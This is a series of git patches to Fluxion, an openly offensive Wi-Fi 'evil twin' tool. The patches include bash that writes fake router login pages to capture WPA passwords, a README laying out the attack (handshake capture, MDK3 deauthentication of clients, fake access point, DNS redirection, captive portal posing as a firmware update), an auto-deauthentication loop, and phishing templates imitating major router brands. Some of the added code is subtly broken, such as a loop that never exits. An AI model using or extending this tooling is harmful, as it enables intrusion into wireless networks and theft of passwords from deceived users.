-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 -" | base64 -d >$DUMP_PATH/file.zip - - unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device - rm $DUMP_PATH/file.zip &>$flux_output_device - - echo " - - - Login - - - - - - - -
    -
    -

    Login Page

    -
    - -
    - - "$DIALOG_WEB_OK" -
    - -
    - -
    -
    -
    -
    -

    -
    - -
    - -
    - -
    -
    -
    - - - ">$DUMP_PATH/data/final.html - echo " - - - Login - - - - - - -
    -
    -

    Login Page

    -
    - -
    - - "$DIALOG_WEB_ERROR" -
    - "$DIALOG_WEB_BACK" - -
    - -
    - -
    -
    -
    -
    -

    -
    - -
    - -
    - -
    -
    -
    - - - ">$DUMP_PATH/data/error.html - - echo " - - - Login - - - - - - - -
    -
    -

    Login Page

    -
    - -
    -
    -
    -
    - -
    ESSID:
    - -
    $Host_SSID
    - -
    BSSID:
    - -
    $Host_MAC
    - -
    Chan:
    - -
    $Host_CHAN
    - -
    - -
    - - "$DIALOG_WEB_INFO" -
    - -
    - - - -
    - -
    - -
    - -
    -
    -
    -
    -

    -
    - -
    - -
    - -
    -
    -
    - - - ">$DUMP_PATH/data/index.htm - -} -######################################### < INTERFACE WEB > ######################################## - - -mostrarheader && setresolution && setinterface From ea4d9a7a42e57fecc290c6b299babb578173abd3 Mon Sep 17 00:00:00 2001 From: DidyMond Date: Mon, 25 Apr 2016 11:30:28 +0200 Subject: [PATCH 144/294] Update README.md --- README.md | 40 +++++++++++++++++++++++++++++++++------- 1 file changed, 33 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index d273e28..de5470f 100644 --- a/README.md +++ b/README.md @@ -3,25 +3,52 @@ Fluxion is a remake of linset by vk439 with fixed bugs and added features. It's ## :scroll: Changelog Fluxion gets updated weekly with new features, improvements and bugfixes. -Be sure to check out the [Channelog] (https://github.com/deltaxflux/fluxion) - - ## :book: How it works * Scan the networks. * Capture handshake (can't be used without a valid handshake, it's necessary to verify the password) -* Use WEB Interface * +* Use WEB Interface + * Some standard pages + * Some real pages of routers * Launches a FakeAP instance imitating the original access point * Spawns a MDK3 processs, which deauthentificates all of the users connected to the target network, so they can be lured to connect to FakeAP network and enter the WPA password. -* A DHCP server is lainched in FakeAP network +* A DHCP server is launched in FakeAP network * A fake DNS server is launched in order to capture all of the DNS requests and redirect them to the host running the script * A captive portal is launched in order to serve a page, which prompts the user to enter their WPA password + * Real pages simulate a firmware update * Each submitted password is verified against the handshake captured earlier * The attack will automatically terminate once correct password is submitted +## :question: How configure template? + +still working + +## :question: Which template are contained? + +* Alice +* Asus +* Belkin +* Cisco +* Cisco Linksys +* Digicom +* Dlink +* FritzBox! +* Huawei +* Netgear +* Netis +* Sitecom +* Technicolor +* Telecom +* TPLink +* Zyxel + + + +## :heavy_exclamation_mark: Requirements +A linux operating system. We recommend Kali Linux 2 or Kali 2016.1 rolling. Kali 2 & 2016 support the latest aircrack-ng versions. A external wifi card that supports packet injection is recommended. ## :eight_spoked_asterisk: Bugs fixed @@ -30,7 +57,6 @@ Be sure to check out the [Channelog] (https://github.com/deltaxflux/fluxion) - [x] Added airmon - [x] Translate DE --> EN - [x] Handshake get fixed -- [x] Check Updates - [x] Animations - [x] Wifi List Bug @@ -41,4 +67,4 @@ Be sure to check out the [Channelog] (https://github.com/deltaxflux/fluxion) 4. ApatheticEuphoria @Wifi-Slaughter WPS Crack 5. Derv82 @Wifite/2 6. Sophron @Wifiphisher -7. sensepost @Mana +7. sensepost @Mana \ No newline at end of file From 0f512a56bb07032347927505e64e13aeb777db0f Mon Sep 17 00:00:00 2001 From: DidyMond Date: Mon, 25 Apr 2016 11:33:12 +0200 Subject: [PATCH 145/294] Edited credits in Credits section --- README.md | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index de5470f..8aca563 100644 --- a/README.md +++ b/README.md @@ -61,10 +61,11 @@ A linux operating system. We recommend Kali Linux 2 or Kali 2016.1 rolling. Kali - [x] Wifi List Bug ## :octocat: Credits -1. Deltax @FLuX and Fluxion main developer -2. Strasharo @Fluxion help to fix DHCPD and pyrit problems, spelling mistakes -3. vk439 @Linset main developer of linset -4. ApatheticEuphoria @Wifi-Slaughter WPS Crack -5. Derv82 @Wifite/2 -6. Sophron @Wifiphisher -7. sensepost @Mana \ No newline at end of file +1. DidyMond main developer for this project +2. Deltax @FLuX and Fluxion main developer for original project +3. Strasharo @Fluxion help to fix DHCPD and pyrit problems, spelling mistakes +4. vk439 @Linset main developer of linset +5. ApatheticEuphoria @Wifi-Slaughter WPS Crack +6. Derv82 @Wifite/2 +7. Sophron @Wifiphisher +8. sensepost @Mana \ No newline at end of file From edb6729e9e271a1c51b9cc2ebbeb993706a42c2f Mon Sep 17 00:00:00 2001 From: William Todt Date: Tue, 26 Apr 2016 13:56:43 -0400 Subject: [PATCH 146/294] Update fluxion --- fluxion | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fluxion b/fluxion index 3785f5d..cb659bc 100755 --- a/fluxion +++ b/fluxion @@ -20,7 +20,7 @@ PASSLOG_PATH="/root/pwlog" # Deauth duration during handshake capture DEAUTHTIME="20" revision=35 -version=0.19 +version=0.20 IP=192.168.1.1 RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) From cf23d8c245b297aeb827811840a456f4fa3e2929 Mon Sep 17 00:00:00 2001 From: William Todt Date: Thu, 28 Apr 2016 08:15:05 -0400 Subject: [PATCH 147/294] fix typos --- fluxion | 33 ++++++++++++++++++++------------- 1 file changed, 20 insertions(+), 13 deletions(-) diff --git a/fluxion b/fluxion index cb659bc..a7865d5 100755 --- a/fluxion +++ b/fluxion @@ -658,8 +658,7 @@ function setinterface { echo $detectedresolution echo - - + if [ "$INTERFACESNUMBER" -gt "0" ]; then echo "Select an interface" @@ -711,8 +710,7 @@ function setinterface { fi deltax - -} +} # Check files function deltax { @@ -2297,21 +2295,19 @@ function deauthMENU { echo echo -e "Status handshake: $Handshake_statuscheck" echo - echo -e " "$blue"1)"$transparent" Yes" - echo -e " "$blue"2)"$transparent" Strike again " - echo -e " "$blue"3)"$transparent" No (Select another attack)" - echo -e " "$blue"4)"$transparent" Select another network" - echo -e " "$blue"5)"$transparent" Exit" + echo -e " "$blue"1)"$transparent" Start" + echo -e " "$blue"2)"$transparent" No (Select another attack)" + echo -e " "$blue"3)"$transparent" Select another network" + echo -e " "$blue"4)"$transparent" Exit" echo " " echo -n ' #> ' read yn case $yn in 1 ) checkhandshake;; - 2 ) capture; $DEAUTH & ;; - 3 ) conditional_clear; askclientsel; break;; - 4 ) killall airodump-ng &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;; - 5 ) exitmode; break;; + 2 ) conditional_clear; askclientsel; break;; + 3 ) killall airodump-ng &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;; + 4 ) exitmode; break;; * ) echo " Unknown option. Choose again"; conditional_clear ;; esac @@ -2339,8 +2335,10 @@ function checkhandshake { wpaclean $HANDSHAKE_PATH/$Host_SSID-$Host_MAC.cap $DUMP_PATH/$Host_MAC-01.cap &>$flux_output_device webinterface break + i=2 else Handshake_statuscheck="${red}Not_Found$transparent" + i=1 fi elif [ "$handshakemode" = "hard" ]; then pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device @@ -2350,16 +2348,25 @@ function checkhandshake { pyrit -r $DUMP_PATH/test.cap -o $HANDSHAKE_PATH/$Host_SSID-$Host_MAC.cap strip &>$flux_output_device webinterface break + i=2 else if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then Handshake_statuscheck="${yellow}Corrupted$transparent" else Handshake_statuscheck="${red}Not_found$transparent" + i=1 fi fi rm $DUMP_PATH/test.cap &>$flux_output_device fi + + while i=1 + do + $DEAUTH + sleep 15 + checkhandshake + done } ############################################# < HANDSHAKE > ############################################ From f6ee5c8c1f3f958e6ca91b055a7a04ef4a1041e6 Mon Sep 17 00:00:00 2001 From: Apathetic Euphoria Date: Thu, 28 Apr 2016 16:18:42 -0700 Subject: [PATCH 148/294] Deauth Menu Changes --- fluxion | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/fluxion b/fluxion index a7865d5..a46dd98 100755 --- a/fluxion +++ b/fluxion @@ -2285,21 +2285,22 @@ function deauth { function deauthMENU { - Handshake_statuscheck="${grey}No handshake$transparent" - while true; do conditional_clear - mostrarheader - echo "*Capture Handshake* " + clear + mostrarheader + + echo " *Handshake Capture* " echo - echo -e "Status handshake: $Handshake_statuscheck" + echo "*** Start will auto deauth every few seconds until a handshake is captured." + echo "*** Once handshake captured,script will continue..." + echo "*** Captured handshakes are stored in /root/handshakes/ for later use." echo echo -e " "$blue"1)"$transparent" Start" - echo -e " "$blue"2)"$transparent" No (Select another attack)" - echo -e " "$blue"3)"$transparent" Select another network" + echo -e " "$blue"2)"$transparent" Back (Select another deauth method)" + echo -e " "$blue"3)"$transparent" Select another network" echo -e " "$blue"4)"$transparent" Exit" - echo " " echo -n ' #> ' read yn From b51b3ba8cea351281b2a7ffbcb8d6136920ba5fa Mon Sep 17 00:00:00 2001 From: DidyMond Date: Sat, 30 Apr 2016 12:27:17 +0200 Subject: [PATCH 149/294] Added template pages --- Sites/Template/alice/config/connector.php | 10 + Sites/Template/alice/css/_cpe.css | 319 ++ Sites/Template/alice/css/layout.css | 25 + Sites/Template/alice/css/style.css | 36 + Sites/Template/alice/images/buttonB0.gif | Bin 0 -> 1594 bytes Sites/Template/alice/images/buttonB9.gif | Bin 0 -> 1737 bytes Sites/Template/alice/images/buttonBC.gif | Bin 0 -> 1752 bytes Sites/Template/alice/images/buttonBF.gif | Bin 0 -> 1617 bytes Sites/Template/alice/images/buttonC2.gif | Bin 0 -> 1658 bytes Sites/Template/alice/images/buttonC5.gif | Bin 0 -> 1603 bytes .../Template/alice/images/buttonC8_agwifi.gif | Bin 0 -> 1694 bytes Sites/Template/alice/images/buttonCF.gif | Bin 0 -> 1498 bytes Sites/Template/alice/images/buttonD5.gif | Bin 0 -> 1628 bytes Sites/Template/alice/images/buttonD8.gif | Bin 0 -> 1717 bytes Sites/Template/alice/images/buttonDB.gif | Bin 0 -> 1788 bytes Sites/Template/alice/images/buttonDE.gif | Bin 0 -> 1518 bytes Sites/Template/alice/images/buttonE1.gif | Bin 0 -> 1537 bytes Sites/Template/alice/images/buttonE4.gif | Bin 0 -> 1785 bytes Sites/Template/alice/images/buttonE7.gif | Bin 0 -> 1663 bytes Sites/Template/alice/images/button_7.gif | Bin 0 -> 1721 bytes Sites/Template/alice/images/header_agwifi.jpg | Bin 0 -> 11391 bytes Sites/Template/alice/index.html | 77 + Sites/Template/alice/js/jquery-2.1.4.min.js | 4 + Sites/Template/alice/js/pBar.js | 26 + Sites/Template/alice/js/script.asc | 25 + .../statoApparato_data/statoApparato.html | 159 + .../alice/statoApparato_data/tabelle.css | 148 + Sites/Template/alice/update.php | 35 + Sites/Template/asus/config/connector.php | 10 + Sites/Template/asus/css/form_style.css | 2248 +++++++++ Sites/Template/asus/css/index_style.css | 870 ++++ Sites/Template/asus/css/update.css | 24 + .../Template/asus/images/New_ui/asustitle.png | Bin 0 -> 3010 bytes .../Template/asus/images/New_ui/bottom_bg.png | Bin 0 -> 886 bytes .../asus/images/New_ui/bottom_help.png | Bin 0 -> 1396 bytes .../asus/images/New_ui/bottom_search.png | Bin 0 -> 7177 bytes .../asus/images/New_ui/bottom_text.png | Bin 0 -> 3356 bytes Sites/Template/asus/images/New_ui/btn.png | Bin 0 -> 993 bytes Sites/Template/asus/images/New_ui/btnspan.png | Bin 0 -> 4606 bytes .../asus/images/New_ui/connectstatus.png | Bin 0 -> 1354 bytes .../asus/images/New_ui/contentbt_normal.png | Bin 0 -> 1250 bytes .../asus/images/New_ui/contentbt_over.png | Bin 0 -> 1250 bytes .../asus/images/New_ui/dropdown_bt.png | Bin 0 -> 4218 bytes .../asus/images/New_ui/dropdown_btover.png | Bin 0 -> 4264 bytes .../asus/images/New_ui/export/line_export.png | Bin 0 -> 99 bytes .../Template/asus/images/New_ui/helpicon.png | Bin 0 -> 976 bytes .../Template/asus/images/New_ui/hightaba.png | Bin 0 -> 370 bytes .../asus/images/New_ui/hightabclicka.png | Bin 0 -> 232 bytes .../asus/images/New_ui/hightabclickspan.png | Bin 0 -> 381 bytes .../asus/images/New_ui/hightabspan.png | Bin 0 -> 624 bytes .../asus/images/New_ui/icon_indexes.png | Bin 0 -> 12714 bytes .../asus/images/New_ui/icon_menues.png | Bin 0 -> 14694 bytes Sites/Template/asus/images/New_ui/inputbg.png | Bin 0 -> 287 bytes Sites/Template/asus/images/New_ui/mb.jpg | Bin 0 -> 30523 bytes .../asus/images/New_ui/middown_bg.png | Bin 0 -> 177 bytes .../Template/asus/images/New_ui/midup_bg.png | Bin 0 -> 26465 bytes .../asus/images/New_ui/multiplessidstatus.png | Bin 0 -> 1050 bytes .../asus/images/New_ui/notification.png | Bin 0 -> 408 bytes .../asus/images/New_ui/printstatus.png | Bin 0 -> 1589 bytes Sites/Template/asus/images/New_ui/re.jpg | Bin 0 -> 22077 bytes Sites/Template/asus/images/New_ui/rt.jpg | Bin 0 -> 19235 bytes .../Template/asus/images/New_ui/title_bg.png | Bin 0 -> 8617 bytes .../Template/asus/images/New_ui/usbstatus.png | Bin 0 -> 1668 bytes 